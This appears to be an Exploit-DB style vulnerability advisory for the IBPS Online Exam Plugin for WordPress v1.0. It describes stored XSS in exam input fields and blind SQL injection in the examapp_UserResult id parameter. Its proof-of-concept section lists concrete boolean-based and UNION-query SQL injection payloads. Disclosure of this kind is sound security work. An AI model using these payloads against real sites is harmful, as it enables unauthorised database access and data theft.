IBPS Online Exam Plugin for WordPress v1.0 - XSS SQLi

vendor:

IBPS Online Exam Plugin for WordPress

by:

8bitsec

9,3

CVSS

HIGH

Stored XSS and Blind SQL Injection

79 (Cross-site Scripting) and 89 (SQL Injection)

CWE

Product Name: IBPS Online Exam Plugin for WordPress

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:elfemo:ibps_online_exam_plugin_for_wordpress

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux 2.0, Mac OS 10.12.5

2017

IBPS Online Exam Plugin for WordPress v1.0 – XSS SQLi

Stored XSS on exam input textfields and Blind SQL Injection on examapp_UserResult page id parameter.

Mitigation:

Input validation and sanitization, use of prepared statements, and proper authentication and authorization.

Source

Exploit-DB raw data:

# Exploit Title: IBPS Online Exam Plugin for WordPress v1.0 - XSS SQLi
# Date: 2017-07-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://elfemo.com/demo/server2/order2032/
# Software Link: https://codecanyon.net/item/ibps-online-exam-plugin-for-wordpress/20028534
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.5]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-07-20

Product & Service Introduction:
===============================
A Full Featured WordPress Plugin for IBPS Examination.

Technical Details & Description:
================================

Stored XSS on exam input textfields.

Blind SQL Injection on examapp_UserResult page id parameter.

Proof of Concept (PoC):
=======================

Authenticated Stored XSS:

Logged as a student:
Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details:
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=[xx]

Blind SQL Injection

Logged as a student:

https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705

    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP

Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]